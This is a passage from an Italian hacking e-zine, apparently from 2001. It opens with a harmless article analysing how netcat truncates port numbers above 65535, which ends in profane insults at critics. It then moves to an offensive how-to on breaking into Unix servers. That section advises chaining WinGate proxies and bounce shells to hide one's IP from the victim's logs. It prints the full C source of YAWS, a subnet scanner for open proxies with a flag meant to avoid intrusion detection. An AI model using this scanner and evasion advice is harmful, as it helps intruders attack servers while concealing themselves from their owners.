|un massimo di 16 bit. Facciamo un po di conti:                                 |\
|                                                                               |\
|16 bit == 2 byte == 1 word                                                     |\
|E qual'\'e8 il valore massimo assumibile da 1 word,nei vari sistemi di numerazione|\
|?                                                                              |\
|                                                                               |\
|   +----------------------------------------------------+                      |\
|   | Binario          | Esadecimale | Ottale | Decimale |                      |\
|   | -----------------|-------------|--------|----------|                      |\
|   | 1111111111111111 | FFFF        | 177777 | 65535    |                      |\
|   +----------------------------------------------------+                      |\
|                                                                               |\
|Mi pare pi\'f9 che esplicativo. Tecnicamente \'e8 IMPOSSIBILE andare oltre la porta  |\
|65535.                                                                         | \
|Ma come mai TDI ha commesso un cos\'ec grave errore ? E' presto spiegato. Lui ha  |\
|utilizzato come cavia di prova il NetCat, ed esso ha un particolare modo per   |\
|gestire le porte. Se voi scrivete "nc -l -p 99999999999" lui effetivamente si  |\
|mette in ascolto.                                                              |\
|                                                                               |\
|;D:\\MyFile\\Netcat 1.1>nc -l -p 999999999                                       |\
|;                                                                              |\
|                                                                               |\
|Ess\'ec, si mette in ascolto. Proviamo con un'altro NetCat a connetterci:\tab         |\
|                                                                               |\
|;D:\\MyFile\\Netcat 1.1>nc 127.0.0.1 999999999                                   |\
|;                                                                              |\
|                                                                               |\
|Ess\'ec, si connette ! E comunica anche ! Ma come \'e8 possibile allora ? Come fa a  |\
|gestire un SP e DP oltre i 16 bit ?? E' presto spiegato il trucco ! Provate a  |\
|usare il Very Verbose Mode del NetCat (flag -vv):                              |\
|                                                                               |\
|;D:\\MyFile\\Netcat 1.1>nc -l -p 999999999 -vv                                   |\
|;listening on [any] 51711 ...                                                  |\
|;                                                                              |\
|                                                                               |\
|;D:\\MyFile\\Netcat 1.1>nc 127.0.0.1 999999999 -vv                               |\
|;127.0.0.1: inverse host lookup failed: h_errno 11004: NO_DATA                 |\
|;(UNKNOWN) [127.0.0.1] 51711 (?) open                                          |\
|;                                                                              |\
|                                                                               |\
|Magia !! la porta 999999999 non c'\'e8 pi\'f9 ! E' venuta invece la 51711 !! Come mai|\
|?? Qui lascio la parola a MrCode. E' lui che si \'e8 masochistizzato  con i       |\
|sorgenti del NetCat :)                                                         |\
|                                                                               |\
|Okkei, ormai mi ci hai tirato dentro e non posso fare altrimenti, ma prima di  |\
|tutto premetto una cosa: come gi\'e0 detto dal mio TheMr preferito (speriamo ce ne|\
|sia uno solo...non oso pensare...brrrr ;) questo non vuole essere un qualcosa  |\
|per dare in testa a TDI110cv, che comunque stimo molto e reputo una persona in | \
|gamba e competente, e' invece un pretesto per parlare in maniera semplice e    |\
|discorsiva di cosa combina al suo interno il nostro beneamato netcat.....ohhhh,|\
|detto questo parto davvero :))                                                 |\
|Dietro alla discussione nata sul campo "porta" a 16bit, la curiosit\'e0 mi ha     |\
|portato a spulciare i sorgenti del netcat, per vedere cosa mai combinasse con  |\
|quel valore passato in argomento dopo lo switch "-p", ecco cosa ne ho tirato   |\
|fuori:                                                                         |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
| case 'p':                   /* local source port */                           |\
|        o_lport = getportpoop (optarg, 0);                                     |\
|        if (o_lport == 0)                                                      |\
|          bail ("invalid local port %s", optarg);                              |\
|        break;                                                                 |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|ecco il pezzo di codice dove il NC controlla l'argomento passato sulla linea   |\
|di comando come numero di porta, la funzione bail() stampa il messaggio di     |\
|errore solo nel caso in cui la getportpoop() restituisca 0, quindi steppiamo   |\
|(sice rulez hihihi) ancora e andiamo a vedere cosa fa di bello 'sta benedetta  |\
|funzione...prima pero' una curiosita, fammi un po vedere come e' dichiarata la |\
|variabile o_lport....USHORT, bene sono proprio 16bit, come ci aspettavamo (per |\
|dipiu' unsigned!...getportpoop() a noi due!) :P                                |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|/* getportpoop :                                                               |\
|   Same general idea as gethostpoop -- look up a port in /etc/services, fill   |\
|   in global port_poop, but return the actual port *number*.  Pass ONE of:     |\
|        pstring to resolve stuff like "23" or "exec";                          |\
|        pnum to reverse-resolve something that's already a number.             |\
|   If o_nflag is on, fill in what we can but skip the getservby??? stuff.      |\
|   Might as well have consistent behavior here, and it *is* faster. */         |\
|USHORT getportpoop (pstring, pnum)                                             |\
|  char * pstring;                                                              |\
|  unsigned int pnum;                                                           |\
|\{                                                                              |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|la funzione in questione effettua il parsing degli argomenti passati, e ritorna|\
|un USHORT come effettivo numero di porta. Passando un puntatore ad una stringa |\
|(char *pstring)la funzione cerca di ricavare il numero di porta sia facendo una|\
|ricerca di corrispondenza tra il nome del servizio e l'effetivo numero di porta|\
|(trovate la descrizione delle corrispondenze nome servizio <-> numero porta    |\
|nell'articolo del mio caro ph0b0s su ondaquadra.n\'b001 - PORTE TCP/UDP). Passando|\
|un numero (int *pnum) la funzione cerca di verificarne l'esattezza. Poich\'e8 come|\
|si vede dal precedente snip di codice la funzione e' invocato col passaggio    |\
|della stringa, si puo' scrivere dopo il "-p" qualsiasi cosa, tipo "-23",       |\
|"ftpippa", "themrbellissimo" o altre amenita' simili...ma guardiamo allora come|\
|viene trattata la stringa? e il numero che ne esce fuori? come lo              |\
|ricava?..badiamo un po.....                                                    |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|/* case 2: resolve a string, but we still give preference to numbers instead   |\
|   of trying to resolve conflicts.  None of the entries in *my* extensive      |\
|   /etc/services begins with a digit, so this should "always work" unless      |\
|   you're at 3com and have some company-internal services defined... */        |\
|  if (pstring) \{                                                               |\
|    if (pnum)                           /* one or the other, pleeze */         |\
|      return (0);                       /* o l'uno o l'altro! :P */            |\
|    x = atoi (pstring);                 /* <--- ecco chi converte la stringa in|\
|numero!! */                                                                    |\
|    if (x)                                                                     |\
|      return (getportpoop (NULL, x));   /* recurse for numeric-string-arg */   |\
|    if (o_nflag)                        /* can't use names! */                 |\
|      return (0);                                                              |\
|    servent = getservbyname (pstring, whichp);  /* <- qui invece cerca la      |\
|corrispondenza */                                                              |\
|    if (servent) \{                              /* tra nome servizio e numero  |\
|porta */                                                                       |\
|      strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name));      |\
|      x = ntohs (servent->s_port);                                             |\
|    goto gp_finish;                                                            |\
|    \} /* if servent */                                                         |\
|  \} /* if pstring */                                                           |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|ecco qua, questo e' il caso in cui pstring deve essere spulciato, e come lo    |\
|fa?..tramite un banalissimo atoi() e richiamando ricorsivamente la funzione col|\
|numero restituito dalla atoi()...non mi piacciono le funzioni ricorsive,       |\
|ciucciano memoria sullo stack, vanno in overflow, le fanno nere!! eppoi il mio |\
|proffe all'uni non le voleva nemmeno sentir nominare!! si potrebbe cambiare e  |\
|fare una versione non ricorsiva,del resto si tratta solo di 'parsare' un numero|\
|e una stringa! :P                                                              |\
|Bene, alla seconda chiamata,capitiamo nel caso in cui si passa alla funzione un|\
|int...guardiamo un po...                                                       |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|if (pnum) \{                                                                    |\
|    if (pstring)                        /* one or the other, pleeze */         |\
|      return (0);                                                              |\
|    x = pnum;                                                                  |\
|    if (o_nflag)                        /* go faster, skip getservbyblah */    |\
|      goto gp_finish;                                                          |\
|    y = htons (x);                      /* gotta do this -- see Fig.1 below */ |\
|    servent = getservbyport (y, whichp);                                       |\
|    if (servent) \{                                                             |\
|      y = ntohs (servent->s_port);                                             |\
|      if (x != y)                       /* "never happen" */                   |\
|        holler ("Warning: port-bynum mismatch, %d != %d", x, y);               |\
|      strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name));      |\
|    \} /* if servent */                                                         |\
|    goto gp_finish;                                                            |\
|  \} /* if pnum */                                                              |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|dopo aver fatto atoi() sulla stringa, la funzione effettua htons() (hex to     |\
|network number) sul numero ricavato e tenta di trovare il corrispondente       |\
|servizio con la getservbyport().                                               |\
|La funzione finisce con un bel "goto" (che vergogna, io li odio i goto in C!!  |\
|Penso che non li sopportino nemmeno Kernighan e Ritchie.... :PP) guardiamo dove|\
|ci porta......ovvero due righe piu' giu', dopo un return(0) messo per non farsi|\
|rompere le scatole dal compilatore:                                            |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|gp_finish:                                                                     |\
|/* Fall here whether or not we have a valid servent at this point, with        |\
|   x containing our [host-order and therefore useful, dammit] port number */   |\
|                                                                               |\
|/* TRADUCO: la funzione cade qui, che abbia trovato un numero di porta valido  |\
|oppure no, con x che contiene il nostro [host-order e speriamo utile,          |\
|dannazione] numero di porta */                                                 |\
|                                                                               |\
|  sprintf (portpoop->anum, "%d", x);    /* always load any numeric specs! */   |\
|  portpoop->num = (x & 0xffff);         /* ushort, remember... */              |\
|  return (portpoop->num);                                                      |\
|\}                                                                              |\
|                                                                               |\
|[snip]                                                                         |\
|                                                                               |\
|riempie il campo num della struttura portpoop con il valore di x trovato 'and' |\
|0xffff e guardate il  commento che mette..."la porta e' un USHORT, ricordate?" |\
|;) e poi ritorna il numero calcolato al chiamante. Ecco scoperto il tremendo   |\
|algoritmo per il calcolo della porta a partire da una stringa di testo, atoi() |\
|and 0xffff, tutto qui, quindi ancora una volta...non si possono mettere porte  |\
|come la "-23" o come la "999999" bisognerebbe riscrivere da capo tutto il      |\
|protocollo tcp/ip :P, e comunque il netcat effettua tutto questo senza avvisare|\
|nessuno se non si mette l'opzione "-vv" . Altra cosa giusto per finire la IANA |\
|ha standardizzato non i numeri di porta,ma i servizi ad essa associati, in modo|\
|che su qualsiasi server ci si connetta, una porta 23 sia un telnet, una 21 un  |\
|ftp, e cosi' via per gli altri servizi. Poi che ognuno di noi faccia quel che  |\
|vuole con le porte.....beh quello e' un altro paio di maniche...:P             |\
|Con questo e' tutto, a voi regia...(ma bada te se mi devo far comandare a      |\
|bacchetta cosi' da themr...vabbe' che e' il mio simbiote, ma tutto ha un       |\
|limite!!) ;)                                                                   |\
|                                                                               |\
|                                                                               |\
|Grazie Mike, qui regia :PP                                                     |\
|Beh, tralasciando gli scherzi, MrCode ha commentato benissimo i pezzi di codice|\
|del NetCat che ci servivano per capire. Anche da essi abbiamo avuto conferma:le|\
|porte NON vann oltre la 65535. TDI si \'e8 fatto "abbindolare" da una strana      |\
|feature del NetCat, che esegue le correzioni, senza per\'f2 dire nulla a nessuno. |\
|Solo con il verbose Mode si riesce a capire la "correzione". Questa cosa       |\
|oltretutto, la si poteva notare anche in altro modo. Provate con un programma  |\
|normale (chesso, il vostro client FTP) a connettervi a una porta da 32 bit.    |\
|vedrete che non ve l'accetta :)                                                |\
|                                                                               |\
|Bene, penso di aver finito :)                                                  |\
|                                                                               |\
|Se volete chiarimenti, dirci che siamo stati bravi, oppure mandarci a quel     |\
|paese...                                                                       |\
|TheMR  : the.mr@bigfoot.com                                                    |\
|MrCode : mr.code@libero.it                                                     |\
|Oppure ci trovate su sempre Azzurra. Ormai siamo BOT umani :))                 |\
|                                                                               |\
|Salutazzi ai friend di #crack-it #hackzxtreme #hackmaniaci #chihackerare #rotfl|\
|E un "vaffanculo" a quegli schifosi sporchi lurudi ripugnandi lamer del cazzo  |\
|che continuano a romperci i coglioni e a non lasciarci in pace un momento.     |\
|Benenetto +b mode, aiutaci :))                                                 |\
|                                                                               |\
|Gia che ci sono, vorrei dire una cosetta a quelli che sul forum di PI hanno    |\
|"commentato" l'articolo di TDI (e anche l'intervista in generale):             |\
|Se non vi piace OQ, nessuno vi obbliga a leggerla. OQ \'e8 una rivista di         |\
|informazione libera. Se non vi piace cio' che scriviamo, non leggetela. E anche|\
|se negli articoli ci sono delle imprecisioni, ricordate che siamo umani anche  |\
|noi, e che errare e' umano.Se vi sentite onnipotenti e credete di sapere tutto,|\
|lo credete e basta. Come disse qualcuno, "il saggio \'e8 colui che sa di non      |\
|sapere". Percui, la prossima volta, siate piu' garbati, e se qualcuno sbaglia, |\
|fateglielo notare, non sputtanatelo come se fosse una mosca in un merdaio.     |\
|Altrimenti la mosca siete voi....anzi, la merda.......                         |\
|                                                                               |\
|Ah, vorrei lasciare una frase che mi ha lasciato MrCode dopo avermi restituito |\
|l'articolo:                                                                    |\
|----                                                                           |\
|PS: passa questo articolo sotto il correttore ortografico, che fra me e te lo  |\
|abbiamo riempito di stronzate!!!! ahahahahah :))                               |\
|----                                                                           |\
|                                                                               |\
|Gli date ragione ?? :)                                                         |\
+-------------------------------------------------------------------------------+\
\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [HACKiNG]                                       #04 - 19/11/2001 |\
| HACK UNiX SHELL                                              [D3FU] 0x06/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|  ::w4rn1ng::                                                                  |\
|                                                                               |\
|  Questo mini HOWTO sull'hacking delle shell unix \'e8 da considerarsi come un    |\
| testo                                                                         |\
|  informativo/educativo. L'autore non si assume alcuna responsabilit\'e0 per      |\
| l'uso                                                                         |\
|  inadeguato delle informazioni qui contenute . Insomma se vi sgamano non      |\
| venite                                                                        |\
|  a piangere da me :-P                                                         |\
|                                                                               |\
|  ::1ntr0::                                                                    |\
|                                                                               |\
|  Io NON sono un hacker, credo di essere un newbies e per questo motivo posso  |\
| aver                                                                          |\
|  scritto anche delle bestialit\'e0 ! :-) pertanto se trovate errori nel testo    |\
| vi prego                                                                      |\
|  di riferirmelo in modo da poterli correggere !                               |\
|                                                                               |\
|                                                                               |\
|  ::c0pr1r3 1l n0str0 ip_4ddr3ss::                                             |\
|                                                                               |\
|  A causa dell'enorme quantit\'e0 di files log presenti nelle macchine unix,      |\
| nascodere il                                                                  |\
|  proprio ip address dai logger diventa un operazione molto ardua. Pertanto \'e8  |\
| vivamente                                                                     |\
|  consigliabile telnettarsi da qualche parte prima di connettersi al target    |\
| (il server                                                                    |\
|  vittima). Nel nostro caso ci vengono in aiuto i WinGates.                    |\
|  Telnettandoci alla porta del server su cui gira un WinGate (solitamente la   |\
| porta 23)                                                                     |\
|  possiamo coprire il nostro ip, e hackerare con maggiore tranquillit\'e0 il      |\
| server.                                                                       |\
|  Naturalmente la concatenazione di due o pi\'f9 WinGate ci pu\'f2 fornire maggiore  |\
|  anonimato, anche se ci\'f2 causa un terribile rallentamento di ogni operazione  |\
| da                                                                            |\
|  noi svolta, perch\'e8 i comandi devono rimbalzare da pi\'f9 server.                |\
|  Pertanto \'e8 meglio non concatenare un elevato numero di WinGates (spesso si   |\
| consiglia                                                                     |\
|  di concatenare max 3 WinGate ma tutto \'e8 relativo).                           |\
|  Per aver maggior sicurezza sarebbe meglio far rimbalzare il nostro attacco   |\
| anche da                                                                      |\
|  una o pi\'f9 shells in giro per il mondo.                                       |\
|  Evitate per\'f2 le free shell perch\'e8 non sono buone per rootare su di una       |\
| macchina.                                                                     |\
|  Trovare i WinGates \'e8 un operazione piuttosto facile (potete trovarne con     |\
| facilit\'e0                                                                      |\
|  nelle liste pubbliche es. http://www.cyberarmy.com anche se spesso non       |\
| funzionano).                                                                  |\
|  Un altro buon metodo \'e8 lo scanning. Scannando infatti un range di ip sulla   |\
| porta 23                                                                      |\
|  (quella di WinGate di default ) \'e8 possibile trovare buoni WinGates, ed il    |\
| vantaggio                                                                     |\
|  \'e8 che solo VOI lo sapete (i "WinGate Scanners" li trovate al seguente URL :  |\
|  http://packetstormsecurity.org). Allego di seguito il sorgente di un buon    |\
| scanner per                                                                   |\
|  WinGates :                                                                   |\
|                                                                               |\
|  ----------------------8< taglia qui----------------------------------------  |\
|                                                                               |\
|                                                                               |\
| /* Yet Another Wingate Scanner (YAWS) Version 0.1                             |\
|    (C) 1999 by tempus fugit, tempusf@gmx.net                                  |\
|    URL: tf.darpa.org                                                          |\
|    You can freely distribute this stuff, but                                  |\
|    please let the copyright information intact                                |\
|    and don't alter the code.                                                  |\
|                                                                               |\
|    Feel free to send my any comments or suggestions                           |\
|                                                                               |\
|    Features:                                                                  |\
|    - can read the hosts to check from a file                                  |\
|    - can scan subnets (class b and c)                                         |\
|    - has an extra flag to prevent intrusion detection systems from being      |\
| activated                                                                     |\
|    - logs the results                                                         |\
|    - logs successes in an extra file                                          |\
|    - you can enter the number of subprocesses                                 |\
|    - you can specify a timeout                                                |\
|                                                                               |\
|    compile with gcc yaws.c -o yaws                                            |\
|                                                                               |\
| */                                                                            |\
|                                                                               |\
| #include <stdio.h>                                                            |\
| #include <sys/types.h>                                                        |\
| #include <sys/socket.h>                                                       |\
| #include <sys/time.h>                                                         |\
| #include <time.h>                                                             |\
| #include <netinet/in.h>                                                       |\
| #include <arpa/inet.h>                                                        |\
| #include <sys/wait.h>                                                         |\
| #include <unistd.h>                                                           |\
| #include <signal.h>                                                           |\
| #include <netdb.h>                                                            |\
| #include <stdlib.h>                                                           |\
| #include <arpa/inet.h>                                                        |\
| #include <ctype.h>                                                            |\
| #include <getopt.h>                                                           |\
| #include <fcntl.h>                                                            |\
|                                                                               |\
| #define wgateport 23                                                          |\
|                                                                               |\
| void CheckForWingate (char *,int);                                            |\
| void init_rand ();                                                            |\
| void DoLog (char *);                                                          |\
| void LogSuccess (char *);                                                     |\
| void usage ();                                                                |\
| int sock, timeout=5;                                                          |\
| char *logfile="yaws.log", *suclogfile="yaws.suc", *progname;                  |\
|                                                                               |\
| int main (int argc, char **argv) \{                                            |\
|     static int forked=0;                                                      |\
|     int forks=1, i, pid, dummy, scanned=0, toscan=0, j, k, extra=0, rnumber;  |\
|     char c, network[64]="none", class[]="z", inputfile[64]="", host[100];     |\
|     FILE *input;                                                              |\
|     typedef char target[100];                                                 |\
|     target *mytarget;                                                         |\
|     progname=argv[0];                                                         |\
|     while ((c = getopt (argc, argv, "vef:l:n:c:i:t:s:")) != -1) \{             |\
|           switch (c) \{                                                        |\
|                 case 'f': forks = atoi (optarg);                              |\
|                         break;                                                |\
|                 case 'e': extra = 1;                                          |\
|                         break;                                                |\
|                 case 'l': logfile = optarg;                                   |\
|                         break;                                                |\
|                 case 'n': strncpy (network, optarg, 64);                      |\
|                         break;                                                |\
|                 case 'c': strncpy (class, optarg, 1);                         |\
|                         break;                                                |\
|                 case 'i': strncpy (inputfile, optarg, 64);                    |\
|                         break;                                                |\
|                 case 't': timeout = atoi (optarg);                            |\
|                         break;                                                |\
|                 case 's': suclogfile = optarg;                                |\
|                         break;                                                |\
|                 case 'v': usage ();                                           |\
|                 case '?': usage ();                                           |\
|           \}                                                                   |\
|     \}                                                                         |\
|                                                                               |\
|     if (argc < 2) \{                                                           |\
|           fprintf (stderr, "To few argumtens.\\n");                            |\
|           usage ();                                                           |\
|     \}                                                                         |\
|                                                                               |\
|     if (forks < 1) \{                                                          |\
|           fprintf (stderr, "To little number of forks.\\n");                   |\
|           usage ();                                                           |\
|     \}                                                                         |\
|                                                                               |\
|     DoLog ("YAWS 1999 by tempus fugit\\n\\n");                                  |\
|                                                                               |\
|     if ((strcmp (network, "none")) && (strcmp (class, "z"))) \{                |\
|         if ((!strcmp (class, "b")) && (extra == 0))                           |\
|                 for (j=1; j<255; j++) \{                                       |\
|                       for (k=1; k<255; k++) \{                                 |\
|     snprintf (host, 100, "%s.%d.%d", network, j, k);                          |\
|           if ((pid = fork ()) == 0) \{                                         |\
|                 CheckForWingate (host, wgateport);                            |\
|                 kill(getpid(),9);                                             |\
|                 \}                                                             |\
|                 if (pid != 0) \{                                               |\
|                 forked++;                                                     |\
|                 if (forked >= forks) \{                                        |\
|                 wait (&dummy);                                                |\
|                 forked--;                                                     |\
|                 \}                                                             |\
|           \}                                                                   |\
|     \}                                                                         |\
|   \}                                                                           |\
| \}                                                                             |\
|   else if ((!strcmp(class, "c")) && (extra == 0)) \{                           |\
|     for (j=1; j<255; j++) \{                                                   |\
|     snprintf (host, 100, "%s.%d", network, j);                                |\
|     if ((pid = fork ()) == 0) \{                                               |\
|           CheckForWingate (host, wgateport);                                  |\
|           kill(getpid(),9);                                                   |\
|     \}                                                                         |\
|     if (pid != 0) \{                                                           |\
|     forked++;                                                                 |\
|     if (forked >= forks) \{                                                    |\
|     wait (&dummy);                                                            |\
|     forked--;                                                                 |\
|     \}                                                                         |\
|     \}                                                                         |\
|                                                                               |\
|    \}                                                                          |\
|   \}                                                                           |\
|   else if ((!strcmp(class, "b")) && (extra == 1)) \{                           |\
|    init_rand();                                                               |\
|    mytarget = malloc ((254*254) * (sizeof (target)));                         |\
|    if (mytarget == NULL) \{                                                    |\
|     fprintf (stderr, "Cannot allocate memory.\\n");                            |\
|     exit (1);                                                                 |\
|    \}                                                                          |\
|    fprintf (stdout, "I am computing the random IPs, this may take a           |\
| while.\\n");                                                                   |\
| for (j=1; j<255; j++) \{                                                       |\
|     for (k=1; k<255; k++) \{                                                   |\
|    marke:                                                                     |\
|      rnumber = (int) ((254.0*254.0)*rand()/(RAND_MAX+1.0));                   |\
|      if (strlen ((mytarget+rnumber)) > 1) goto marke;                         |\
|      snprintf ((mytarget+rnumber), 100, "%s.%d.%d", network, j, k);           |\
|                                                                               |\
|      \}                                                                        |\
|     \}                                                                         |\
|                 for (j=0; j<=(254*254); j++) \{                                |\
|                       if ((pid = fork ()) == 0) \{                             |\
|     CheckForWingate ((mytarget+j), wgateport);                                |\
|     kill(getpid(),9);                                                         |\
|     \}                                                                         |\
|     if (pid != 0) \{                                                           |\
|     forked++;                                                                 |\
|     if (forked >= forks) \{                                                    |\
|     wait (&dummy);                                                            |\
|     forked--;                                                                 |\
|     \}                                                                         |\
|     \}                                                                         |\
|                                                                               |\
|    \}                                                                          |\
|   \}                                                                           |\
|                                                                               |\
|   else if ((!strcmp(class, "c")) && (extra == 1)) \{                           |\
|    init_rand();                                                               |\
|    mytarget = malloc ((255) * (sizeof (target)));                             |\
|    if (mytarget == NULL) \{                                                    |\
|     fprintf (stderr, "Cannot allocate memory.\\n");                            |\
|     exit (1);                                                                 |\
|    \}                                                                          |\
|    for (j=1; j<255; j++) \{                                                    |\
|    marke2:                                                                    |\
|     rnumber = 1+(int) ((254.0)*rand()/(RAND_MAX+1.0));                        |\
|     if (strlen ((mytarget+rnumber)) > 1) goto marke2;                         |\
|     snprintf ((mytarget+rnumber), 100, "%s.%d", network, j);                  |\
|                                                                               |\
|                                                                               |\
|    \}                                                                          |\
|    for (j=1; j<255; j++) \{                                                    |\
|     if ((pid = fork ()) == 0) \{                                               |\
|      CheckForWingate ((mytarget+j), wgateport);                               |\
|      kill(getpid(),9);                                                        |\
|     \}                                                                         |\
|     if (pid != 0) \{                                                           |\
|      forked++;                                                                |\
|      if (forked >= forks) \{                                                   |\
|     wait (&dummy);                                                            |\
|     forked--;                                                                 |\
|      \}                                                                        |\
|      \}                                                                        |\
|    \}                                                                          |\
|   \}                                                                           |\
|   else                                                                        |\
|   \{                                                                           |\
|    if ((class != "b") && (class != "c")) \{                                    |\
|     printf ("You entered an unknown class or no network.\\n");                 |\
|     return 1;                                                                 |\
|    \}                                                                          |\
|   \}                                                                           |\
|  for (i=1; i <= forked; i++) wait (&dummy);                                   |\
|  return 0;                                                                    |\
|  \}                                                                            |\
|                                                                               |\
|  input = fopen (inputfile, "r");                                              |\
|  if (input == NULL) \{                                                         |\
|   fprintf (stderr, "Cannot open input file.\\n");                              |\
|   return 1;                                                                   |\
|  \}                                                                            |\
|                                                                               |\
|  while ((fscanf (input, "%s\\n", host)) != EOF) \{                              |\
|   if ((pid = fork ()) == 0) \{                                                 |\
|    CheckForWingate (host, wgateport);                                         |\
|    kill(getpid(),9);                                                          |\
|   \}                                                                           |\
|   if (pid != 0) \{                                                             |\
|    forked++;                                                                  |\
|    if (forked >= forks) \{                                                     |\
|     wait (&dummy);                                                            |\
|     forked--;                                                                 |\
|    \}                                                                          |\
|   \}                                                                           |\
|                                                                               |\
|     \}                                                                         |\
|     fclose (input);                                                           |\
|     for (i=1; i <= forked; i++) wait (&dummy);                                |\
|                                                                               |\
| \}                                                                             |\
|                                                                               |\
| void alarm_handler (int sig) \{                                                |\
|     close (sock);                                                             |\
|     return;                                                                   |\
| \}                                                                             |\
|                                                                               |\
| void CheckForWingate (char *host, int port)                                   |\
| \{                                                                             |\
|     int ret, conn, sel;                                                       |\
|     char buffer[128], logmsg[1024];                                           |\
|     struct sockaddr_in sin;                                                   |\
|     fd_set fd;                                                                |\
|     struct timeval tv;                                                        |\
|     struct hostent *he;                                                       |\
|                                                                               |\
|     if ((strlen (host)) == 0) exit (1);                                       |\
|                                                                               |\
|     if (!(sock = socket (AF_INET, SOCK_STREAM, 0))) \{                         |\
|           fprintf (stderr, "Cannot create a socket.\\n")                       |\
|           exit (1);                                                           |\
|     \}                                                                         |\
|                                                                               |\
|     if (inet_addr (host) == -1) \{                                             |\
|         if ((he=gethostbyname (host)) == NULL) \{                              |\
|    snprintf (logmsg, 1024, "The host %s cannot be resolved.\\n", host);        |\
|    DoLog (logmsg);                                                            |\
|    return;                                                                    |\
| \}                                                                             |\
|   memcpy (&sin.sin_addr, he->h_addr,he->h_length);                            |\
|     \}                                                                         |\
|  else if ((sin.sin_addr.s_addr = inet_addr (host)) == -1) \{                   |\
|   snprintf (logmsg, 1024, "IP %s cannot be identified.\\n", host);             |\
|   DoLog (logmsg);                                                             |\
|   return;                                                                     |\
|  \}                                                                            |\
|  sin.sin_family = AF_INET;                                                    |\
|  sin.sin_port = htons (port);                                                 |\
|  signal (SIGALRM, alarm_handler);                                             |\
|  alarm (timeout);                                                             |\
|  conn = connect (sock, (struct sockaddr*)&sin, sizeof (sin));                 |\
|  if (conn < 0) \{                                                              |\
|   snprintf (logmsg, 1024, "Cannot connect to host %s on port %d.\\n", host,    |\
| port);                                                                        |\
|   DoLog (logmsg);                                                             |\
|   close (sock);                                                               |\
|   return;                                                                     |\
|  \}                                                                            |\
|  FD_ZERO (&fd);                                                               |\
|  FD_SET (sock, &fd);                                                          |\
|  tv.tv_sec = timeout;                                                         |\
|  tv.tv_usec = 0;                                                              |\
|  sel = select (sock+1, &fd, NULL, NULL, &tv);                                 |\
|  if (sel > 0) \{                                                               |\
|   if ((ret = recv (sock, buffer, 128, 0)) > 0) \{                              |\
|    if (!strcmp (buffer, "WinGate>")) \{                                        |\
|     snprintf (logmsg, 1024, "Host %s is a wingate.\\n", host);                 |\
|                           DoLog (logmsg);                                     |\
|                        LogSuccess (logmsg);                                   |\
|                 \}                                                             |\
|                 else \{                                                        |\
|     snprintf (logmsg, 1024, "Host %s is no wingate.\\n", host);                |\
|                       DoLog (logmsg);                                         |\
|                 \}                                                             |\
|           \}                                                                   |\
|                                                                               |\
|     \}                                                                         |\
|     if (!sel) \{                                                               |\
|           snprintf (logmsg, 1024, "Host %s time out by search.\\n", host);     |\
|           DoLog (logmsg);                                                     |\
|     \}                                                                         |\
|     if (sel == -1) \{                                                          |\
|           fprintf (stderr, "Select Error.\\n");                                |\
|           exit (1);                                                           |\
|     \}                                                                         |\
|     close (sock);                                                             |\
|     return;                                                                   |\
| \}                                                                             |\
|                                                                               |\
| void init_rand() \{                                                            |\
|         int fd;                                                               |\
|         unsigned n;                                                           |\
|         fd = open("/dev/random", O_RDONLY);                                   |\
|         read(fd, &n, sizeof(n));                                              |\
|         close(fd);                                                            |\
|         srand(n);                                                             |\
| \}                                                                             |\
|                                                                               |\
| void DoLog (char *message) \{                                                  |\
|     FILE *file;                                                               |\
|     file = fopen (logfile, "a");                                              |\
|     if (file == NULL) \{                                                       |\
|           fprintf (stderr, "File Error.\\n");                                  |\
|           exit (1);                                                           |\
|     \}                                                                         |\
|     fprintf (file,"%s", message);                                             |\
|     fclose (file);                                                            |\
| \}                                                                             |\
|                                                                               |\
| void LogSuccess (char *message) \{                                             |\
|     FILE *file;                                                               |\
|     file = fopen (suclogfile, "a");                                           |\
|     if (file == NULL) \{                                                       |\
|           fprintf (stderr, "File Error.\\n");                                  |\
|           exit (1);                                                           |\
|     \}                                                                         |\
|     fprintf (file, "** SUCCESS: **  ");                                       |\
|     fprintf (file, "%s", message);                                            |\
|     fclose (file);                                                            |\
| \}                                                                             |\
|                                                                               |\
| void usage () \{                                                               |\
|  printf ("[YAWS] Yet Another Wingate Scanner Version 0.1 1999 by tempus       |\
| fugit\\n");                                                                    |\
| printf ("mail: tempusf@gmx.net\\n");                                           |\
| printf ("URL: http://tf.darpa.org\\n\\n");                                      |\
| printf ("Usage: %s -v -l <logfile> -f <forks> -t <timeout> -n <network> -c    |\
| <network-class> -i <input file> -s <success-logfile>\\n", progname);           |\
| printf ("\\tlogfile: the name of the file where the scanning results are       |\
| stored.\\n");                                                                  |\
| printf ("\\tforks  : the number of forks the program is allowed to             |\
| create.\\n");                                                                  |\
| printf ("\\ttimeout: timeout of search-process in seconds.\\n");                |\
| printf ("\\tnetwork: you can enter network that will be checked for            |\
| wingates.\\n");                                                                |\
| printf ("\\tnetwork: can be <X.X> or <X.X.X> if class is\\n");                  |\
| printf ("\\t                  b   or    c\\n");                                 |\
| printf ("\\tinput-file: you can specify an input-file from which the hosts     |\
| to checked are extraced.\\n");                                                 |\
| printf ("\\tsuccess-logfile: success messages are written in this file.\\n");   |\
| printf ("\\tif you choose an input-file, the network and class options are     |\
| ignored.\\n");                                                                 |\
|     printf ("Example: %s -l mylogs -n 200.10 -c b -s wow\\n", progname);       |\
|     exit (0);                                                                 |\
| \}                                                                             |\
|                                                                               |\
|  ----------------------8< taglia qui----------------------------------------- |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|  Il discorso delle shells \'e8 MOLTO piu complicato ! La shell di cui abbiamo    |\
| bisogno non                                                                   |\
|  \'e8 una shell con accesso root (se no cosa buchiamo a fare :-P ) ma bens\'ec una  |\
| normale                                                                       |\
|  (non free-shell ricordate) da usare come bouncer per il nostro attacco.      |\
